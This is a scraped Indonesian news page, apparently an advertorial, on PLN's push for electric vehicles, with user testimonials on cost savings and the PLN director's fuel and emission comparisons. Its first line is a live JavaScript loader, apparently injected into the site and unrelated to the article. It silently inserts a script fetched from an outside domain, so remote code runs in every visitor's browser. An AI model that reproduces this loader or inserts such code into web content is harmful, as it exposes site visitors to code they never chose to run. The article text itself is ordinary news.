(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PLN UIP3B KALIMANTAN

Lebih Hemat Pakai Kendaraan Listrik, Masyarakat Nikmati Beragam Kemudahan


KANALKALIMANTAN.COM, JAKARTA – PT PLN (Persero) berkomitmen untuk terus mendukung ekosistem kendaraan listrik atau electric vehicle (EV) yang berkembang pesat di Indonesia. Beberapa kalangan masyarakat sangat merasakan manfaat dan keuntungan transisi ke kendaraan listrik ini.

Salah satu pengguna mobil listrik, Norita menuturkan betapa hemat dan ramah lingkungan EV yang sudah ia gunakan selama 5 bulan tersebut.

“Mobil listrik sangat menghemat biaya operasional, dari pajak hingga service pun lebih murah. Biasanya service itu bisa sampai Rp500 ribu tapi untuk mobil listrik hanya Rp100 ribu. Ini juga sangat ramah lingkungan, tidak mengeluarkan asap dan polusi,” tutur Norita.

Baca juga: Tiga Pelajar SDN Kebun Bunga 5 Tampil di FLS2N Jakarta

Petugas Haleyora Power melakukan uji coba pengisian daya kendaraan listrik yang menggunakan home charging di rumah pelanggan. foto: pln

Norita juga menambahkan, pengguna EV tidak perlu khawatir walaupun macet biaya operasional akan tetap stabil dan menjadi murah.

“Kalau dulu itu perbulan saya bisa menghabiskan Rp2 juta setiap bulannya, namun seketika saya beralih ke mobil listrik hanya hanya perlu merogoh kocek sebesar Rp200-300 ribu per bulannya,” kata Norita.

Hal serupa juga disampaikan Driver Ojol Wawan Poedji Santoso, mengaku merasakan lebih hemat dan nyaman setelah beralih menggunakan motor listrik. Sejak menggunakan EV untuk ojek online, dirinya mampu menekan pengeluaran berlebih.

Baca juga: Remaja 16 Tahun di Banjarmasin Tenggelam di Sungai Awang

“Sekarang malah bisa menabung lebih banyak. Pengeluaran bensin sebesar Rp50 ribu per hari serta ongkos perawatan sekitar Rp200 ribu saban dua-tiga minggu, tak ada lagi,” ungkap Wawan.

Meski di awal sempat bingung menggunakan kendaraan listrik, Wawan mengaku kini tak lagi khawatir termasuk perawatan dan biayanya.

Direktur Utama PLN, Darmawan Prasodjo mengatakan, pemerintah tengah mengakselerasi ekosistem Kendaraan Bermotor Listrik Berbasis Baterai (KBLBB) atau EV di Indonesia guna menekan penggunaan bahan bakar fosil, mengurangi emisi karbon, dan mendorong transformasi industri serta mendorong ketahanan energi nasional.

“PLN siap mendukung upaya pemerintah dalam mendorong ekosistem kendaraan listrik di Indonesia. Pengguna EV tidak perlu risau, sebab infrastruktur telah dibangun lebih merata. Apalagi Stasiun Pengisian Kendaraan Listrik Umum (SPKLU), Stasiun Pengisian Listrik Umum (SPLU), dan Stasiun Penukaran Baterai Kendaraan Listrik Umum (SPBKLU) telah siap, mudah dan nyaman digunakan,” kata Darmawan.

Darmawan menambahkan, PLN juga menyediakan layanan home charging untuk memudahkan pengisian daya di rumah. Jadi para pengguna tidak perlu risau jika kehabisan daya, karena infrastrukturnya sudah sangat lengkap.

Baca juga: City Tour di Banjarbaru, Wisatawan Mancanegara Ikut Malinggang Intan hingga Menganyam Purun

Darmawan juga menjelaskan bahwa dengan menggunakan kendaraan listrik akan membantu pengguna menjadi lebih hemat. Sebagai gambaran, untuk kendaraan sepeda motor dengan jarak tempuh 50 kilometer (Km) membutuhkan 1 liter BBM, sedangkan sepeda motor listrik dengan jarak sama menghabiskan 1,2 kilowatt hour (kWh).

“Maka, dengan asumsi tarif listrik sebesar Rp1.699,53 per kWh, hanya diperlukan sekitar Rp 2.500 untuk sepeda motor listrik. Sedangkan, motor BBM menghabiskan sekitar Rp 13 ribu untuk menempuh jarak yang sama. Dengan begitu menggunakan motor listrik lebih hemat biaya 80 persen daripada menggunakan sepeda motor BBM,” jelas Darmawan.

Darmawan menerangkan, EV merupakan kendaraan yang sangat ramah lingkungan, ini juga akan membantu menciptakan lingkungan yang lebih segar dan nyaman.

“Jika kita bandingkan emisi yang dihasilkan antara kendaraan berbahan bakar minyak dan EV, konsumsi 1 liter BBM sama dengan 1,2 kWh listrik, sedangkan emisi karbon 1 liter BBM adalah 2,4 kg Co2e, dan emisi karbon 1,2 kWh listrik adalah 1,3 kg Co2e. Artinya dengan menggunakan kendaraan listrik kita sudah mengurangi sekitar 50 persen emisi karbon,” pungkas Darmawan.

Abdul Salam Nganro, General Manager PLN Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan menyambut penuh semangat pertumbuhan ekosistem kendaraan listrik, khususnya di wilayah Kalimantan. Kendaraan listrik dinilai mampu menjadi solusi transportasi di pelosok Kalimantan yang minim tersedia Stasiun Pengisian Bahan Bakar Umum (SPBU), namun sudah terjangkau jaringan listrik.

“Kami mendukung penuh pertumbuhan ekosistem ini, dengan memastikan keandalan penyaluran ketenagalistrikan hingga ke pelosok Kalimantan,” pungkasnya. (Kanalkalimantan.com/adv)

Reporter : adv
Editor : kk


Muhammad Andi

Recent Posts

25 Anggota PPK Kota Banjarbaru Dilantik, Langsung Bekerja Membentuk Sekretariat

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru resmi melantik 25 orang anggota Panitia… Read More

50 menit ago

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

12 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

14 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

14 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

14 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

16 jam ago

This website uses cookies.